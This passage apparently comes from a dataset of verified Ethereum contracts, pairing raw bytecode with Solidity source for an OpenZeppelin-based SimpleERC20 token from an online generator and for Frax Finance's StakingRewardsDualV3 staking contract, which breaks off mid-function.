600080fd5b5035919050565b60006020828403121561313a57600080fd5b8135611cdf816130cb565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561318457613184613145565b604052919050565b600067ffffffffffffffff8211156131a6576131a6613145565b5060051b60200190565b600082601f8301126131c157600080fd5b813560206131d66131d18361318c565b61315b565b82815260059290921b840181019181810190868411156131f557600080fd5b8286015b8481101561321057803583529183019183016131f9565b509695505050505050565b6000806040838503121561322e57600080fd5b823567ffffffffffffffff8082111561324657600080fd5b818501915085601f83011261325a57600080fd5b8135602061326a6131d18361318c565b82815260059290921b8401810191818101908984111561328957600080fd5b948201945b838610156132b05785356132a1816130cb565b8252948201949082019061328e565b965050860135925050808211156132c657600080fd5b506132d3858286016131b0565b9150509250929050565b6000806000606084860312156132f257600080fd5b83356132fd816130cb565b9250602084013561330d816130cb565b929592945050506040919091013590565b6000806000806080858703121561333457600080fd5b5050823594602084013594506040840135936060013592509050565b803580151581146118a757600080fd5b6000806040838503121561337357600080fd5b823561337e816130cb565b915061338c60208401613350565b90509250929050565b6000602082840312156133a757600080fd5b611cdf82613350565b600080604083850312156133c357600080fd5b82356133ce816130cb565b915060208301356133de816130cb565b809150509250929050565b600181811c908216806133fd57607f821691505b6020821081141561341e57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561348957613489613459565b500290565b6000826134ab57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006000198214156134da576134da613459565b5060010190565b600082198211156134f4576134f4613459565b500190565b60006020828403121561350b57600080fd5b8151611cdf816130cb565b600081518084526020808501945080840160005b8381101561354f5781516001600160a01b03168752958201959082019060010161352a565b509495945050505050565b8481526080602082015260006135736080830186613516565b6001600160a01b03949094166040830152506060015292915050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008282101561362957613629613459565b500390565b85815284602082015260a06040820152600061364d60a0830186613516565b6001600160a01b0394909416606083015250608001529392505050565b60008060006060848603121561367f57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122053833744b7eca54d8f5894e6237dc6c4d555c64ab48244a89dfe9e092cbf71ab64736f6c63430008090033
[ 0, 21, 4, 7, 6, 11, 13, 5 ]
0xF36F82a42Ca34bfff60DACbb1cEa3f7659E5aC48
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
[ 38 ]
0xF37057823910653a554d996B49E3399DC87fAE1b
// SPDX-License-Identifier: MIT pragma solidity >=0.6.11; pragma experimental ABIEncoderV2; import "../StakingRewardsDualV3.sol"; contract StakingRewardsDualV3_FRAX_IQ is StakingRewardsDualV3 { constructor( address _owner, address _rewardsToken0, address _rewardsToken1, address _stakingToken, address _frax_address, address _timelock_address, address _veFXS_address ) StakingRewardsDualV3(_owner, _rewardsToken0, _rewardsToken1, _stakingToken, _frax_address, _timelock_address, _veFXS_address ) {} } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; pragma experimental ABIEncoderV2; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ======================= StakingRewardsDualV3 ======================= // ==================================================================== // Includes veFXS boost logic // Unlocked deposits are removed to free up space // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian // Sam Sun: https://github.com/samczsun // Modified originally from Synthetixio // https://raw.githubusercontent.com/Synthetixio/synthetix/develop/contracts/StakingRewards.sol import "../Math/Math.sol"; import "../Math/SafeMath.sol"; import "../Curve/IveFXS.sol"; import "../ERC20/ERC20.sol"; import '../Uniswap/TransferHelper.sol'; import "../ERC20/SafeERC20.sol"; import "../Frax/Frax.sol"; import "../Uniswap/Interfaces/IUniswapV2Pair.sol"; import "../Utils/ReentrancyGuard.sol"; // Inheritance import "./Owned.sol"; contract StakingRewardsDualV3 is Owned, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for ERC20; /* ========== STATE VARIABLES ========== */ // Instances IveFXS private veFXS; ERC20 private rewardsToken0; ERC20 private rewardsToken1; IUniswapV2Pair private stakingToken; // Constant for various precisions uint256 private constant MULTIPLIER_PRECISION = 1e18; // Admin addresses address public timelock_address; // Governance timelock address // Time tracking uint256 public periodFinish; uint256 public lastUpdateTime; // Lock time and multiplier settings uint256 public lock_max_multiplier = uint256(3e18); // E18. 1x = e18 uint256 public lock_time_for_max_multiplier = 3 * 365 * 86400; // 3 years uint256 public lock_time_min = 86400; // 1 * 86400 (1 day) // veFXS related uint256 public vefxs_per_frax_for_max_boost = uint256(4e18); // E18. 4e18 means 4 veFXS must be held by the staker per 1 FRAX uint256 public vefxs_max_multiplier = uint256(25e17); // E18. 1x = 1e18 // mapping(address => uint256) private _vefxsMultiplierStoredOld; mapping(address => uint256) private _vefxsMultiplierStored; // Max reward per second uint256 public rewardRate0; uint256 public rewardRate1; // Reward period uint256 public rewardsDuration = 604800; // 7 * 86400 (7 days) // Reward tracking uint256 public rewardPerTokenStored0 = 0; uint256 public rewardPerTokenStored1 = 0; mapping(address => uint256) public userRewardPerTokenPaid0; mapping(address => uint256) public userRewardPerTokenPaid1; mapping(address => uint256) public rewards0; mapping(address => uint256) public rewards1; // Balance tracking uint256 private _total_liquidity_locked = 0; uint256 private _total_combined_weight = 0; mapping(address => uint256) private _locked_liquidity; mapping(address => uint256) private _combined_weights; // Uniswap related bool frax_is_token0; // Stake tracking mapping(address => LockedStake[]) private lockedStakes; // List of valid migrators (set by governance) mapping(address => bool) public valid_migrators; address[] public valid_migrators_array; // Stakers set which migrator(s) they want to use mapping(address => mapping(address => bool)) public staker_allowed_migrators; // Greylisting of bad addresses mapping(address => bool) public greylist; // Administrative booleans bool public token1_rewards_on = true; bool public migrationsOn = false; // Used for migrations. Prevents new stakes, but allows LP and reward withdrawals bool public stakesUnlocked = false; // Release locked stakes in case of system migration or emergency bool public withdrawalsPaused = false; // For emergencies bool public rewardsCollectionPaused = false; // For emergencies bool public stakingPaused = false; // For emergencies /* ========== STRUCTS ========== */ struct LockedStake { bytes32 kek_id; uint256 start_timestamp; uint256 liquidity; uint256 ending_timestamp; uint256 lock_multiplier; // 6 decimals of precision. 1x = 1000000 } /* ========== MODIFIERS ========== */ modifier onlyByOwnerOrGovernance() { require(msg.sender == owner || msg.sender == timelock_address, "You are not the owner or the governance timelock"); _; } modifier onlyByOwnerOrGovernanceOrMigrator() { require(msg.sender == owner || msg.sender == timelock_address || valid_migrators[msg.sender] == true, "You are not the owner, governance timelock, or a migrator"); _; } modifier isMigrating() { require(migrationsOn == true, "Contract is not in migration"); _; } modifier notStakingPaused() { require(stakingPaused == false, "Staking is paused"); _; } modifier notWithdrawalsPaused() { require(withdrawalsPaused == false, "Withdrawals are paused"); _; } modifier notRewardsCollectionPaused() { require(rewardsCollectionPaused == false, "Rewards collection is paused"); _; } modifier updateRewardAndBalance(address account, bool sync_too) { _updateRewardAndBalance(account, sync_too); _; } /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsToken0, address _rewardsToken1, address _stakingToken, address _frax_address, address _timelock_address, address _veFXS_address ) Owned(_owner){ rewardsToken0 = ERC20(_rewardsToken0); rewardsToken1 = ERC20(_rewardsToken1); stakingToken = IUniswapV2Pair(_stakingToken); veFXS = IveFXS(_veFXS_address); lastUpdateTime = block.timestamp; timelock_address = _timelock_address; // 10 FXS a day rewardRate0 = (uint256(3650e18)).div(365 * 86400); // 1 token1 a day rewardRate1 = (uint256(365e18)).div(365 * 86400); // Uniswap related. Need to know which token frax is (0 or 1) address token0 = stakingToken.token0(); if (token0 == _frax_address) frax_is_token0 = true; else frax_is_token0 = false; // Other booleans migrationsOn = false; stakesUnlocked = false; } /* ========== VIEWS ========== */ function totalLiquidityLocked() external view returns (uint256) { return _total_liquidity_locked; } function totalCombinedWeight() external view returns (uint256) { return _total_combined_weight; } function lockMultiplier(uint256 secs) public view returns (uint256) { uint256 lock_multiplier = uint256(MULTIPLIER_PRECISION).add( secs .mul(lock_max_multiplier.sub(MULTIPLIER_PRECISION)) .div(lock_time_for_max_multiplier) ); if (lock_multiplier > lock_max_multiplier) lock_multiplier = lock_max_multiplier; return lock_multiplier; } // Total locked liquidity tokens function lockedLiquidityOf(address account) public view returns (uint256) { return _locked_liquidity[account]; } // Total 'balance' used for calculating the percent of the pool the account owns // Takes into account the locked stake time multiplier and veFXS multiplier function combinedWeightOf(address account) external view returns (uint256) { return _combined_weights[account]; } function lockedStakesOf(address account) external view returns (LockedStake[] memory) { return lockedStakes[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function fraxPerLPToken() public view returns (uint256) { // Get the amount of FRAX 'inside' of the lp tokens uint256 frax_per_lp_token; { uint256 total_frax_reserves; (uint256 reserve0, uint256 reserve1, ) = (stakingToken.getReserves()); if (frax_is_token0) total_frax_reserves = reserve0; else total_frax_reserves = reserve1; frax_per_lp_token = total_frax_reserves.mul(1e18).div(stakingToken.totalSupply()); } return frax_per_lp_token; } function userStakedFrax(address account) public view returns (uint256) { return (fraxPerLPToken()).mul(_locked_liquidity[account]).div(1e18); } function minVeFXSForMaxBoost(address account) public view returns (uint256) { return (userStakedFrax(account)).mul(vefxs_per_frax_for_max_boost).div(MULTIPLIER_PRECISION); } function veFXSMultiplier(address account) public view returns (uint256) { // The claimer gets a boost depending on amount of veFXS they have relative to the amount of FRAX 'inside' // of their locked LP tokens uint256 veFXS_needed_for_max_boost = minVeFXSForMaxBoost(account); if (veFXS_needed_for_max_boost > 0){ uint256 user_vefxs_fraction = (veFXS.balanceOf(account)).mul(MULTIPLIER_PRECISION).div(veFXS_needed_for_max_boost); uint256 vefxs_multiplier = uint256(MULTIPLIER_PRECISION).add( (user_vefxs_fraction) .mul(vefxs_max_multiplier.sub(MULTIPLIER_PRECISION)) .div(MULTIPLIER_PRECISION) ); // Cap the boost to the vefxs_max_multiplier if (vefxs_multiplier > vefxs_max_multiplier) vefxs_multiplier = vefxs_max_multiplier; return vefxs_multiplier; } else return MULTIPLIER_PRECISION; // This will happen with the first stake, when user_staked_frax is 0 } function calcCurCombinedWeight(address account) public view returns ( uint256 old_combined_weight, uint256 new_vefxs_multiplier, uint256 new_combined_weight ) { // Get the old combined weight old_combined_weight = _combined_weights[account]; // Get the veFXS multipliers // For the calculations, use the midpoint (analogous to midpoint Riemann sum) new_vefxs_multiplier = veFXSMultiplier(account); uint256 midpoint_vefxs_multiplier = ((new_vefxs_multiplier).add(_vefxsMultiplierStored[account])).div(2); // Loop through the locked stakes, first by getting the liquidity * lock_multiplier portion new_combined_weight = 0; for (uint256 i = 0; i < lockedStakes[account].length; i++) { LockedStake memory thisStake = lockedStakes[account][i]; uint256 lock_multiplier = thisStake.lock_multiplier; // If the lock period is over, drop the lock multiplier to 1x for the weight calculations if (thisStake.ending_timestamp <= block.timestamp){ lock_multiplier = MULTIPLIER_PRECISION; } uint256 liquidity = thisStake.liquidity; uint256 extra_vefxs_boost = midpoint_vefxs_multiplier.sub(MULTIPLIER_PRECISION); // Multiplier - 1, because it is additive uint256 combined_boosted_amount = liquidity.mul(lock_multiplier.add(extra_vefxs_boost)).div(MULTIPLIER_PRECISION); new_combined_weight = new_combined_weight.add(combined_boosted_amount); } } function rewardPerToken() public view returns (uint256, uint256) { if (_total_liquidity_locked == 0 || _total_combined_weight == 0) { return (rewardPerTokenStored0, rewardPerTokenStored1); } else { return ( rewardPerTokenStored0.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate0).mul(1e18).div(_total_combined_weight) ), rewardPerTokenStored1.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate1).mul(1e18).div(_total_combined_weight) ) ); } } function earned(address account) public view returns (uint256, uint256) { (uint256 reward0, uint256 reward1) = rewardPerToken(); if (_combined_weights[account] == 0){ return (0, 0); } return ( (_combined_weights[account].mul(reward0.sub(userRewardPerTokenPaid0[account]))).div(1e18).add(rewards0[account]), (_combined_weights[account].mul(reward1.sub(userRewardPerTokenPaid1[account]))).div(1e18).add(rewards1[account]) ); } function getRewardForDuration() external view returns (uint256, uint256) { return ( rewardRate0.mul(rewardsDuration), rewardRate1.mul(rewardsDuration) ); } function migratorApprovedForStaker(address staker_address, address migrator_address) public view returns (bool) { // Migrator is not a valid one if (valid_migrators[migrator_address] == false) return false; // Staker has to have approved this particular migrator if (staker_allowed_migrators[staker_address][migrator_address] == true) return true; // Otherwise, return false return false; } /* ========== MUTATIVE FUNCTIONS ========== */ function _updateRewardAndBalance(address account, bool sync_too) internal { // Need to retro-adjust some things if the period hasn't been renewed, then start a new one if (sync_too){ sync(); } if (account != address(0)) { // To keep the math correct, the user's combined weight must be recomputed to account for their // ever-changing veFXS balance. ( uint256 old_combined_weight, uint256 new_vefxs_multiplier, uint256 new_combined_weight ) = calcCurCombinedWeight(account); // Calculate the earnings first _syncEarned(account); // Update the user's stored veFXS multipliers _vefxsMultiplierStored[account] = new_vefxs_multiplier; // Update the user's and the global combined weights if (new_combined_weight >= old_combined_weight) { uint256 weight_diff = new_combined_weight.sub(old_combined_weight); _total_combined_weight = _total_combined_weight.add(weight_diff); _combined_weights[account] = old_combined_weight.add(weight_diff); } else { uint256 weight_diff = old_combined_weight.sub(new_combined_weight); _total_combined_weight = _total_combined_weight.sub(weight_diff); _combined_weights[account] = old_combined_weight.sub(weight_diff); } } } function _syncEarned(address account) internal { if 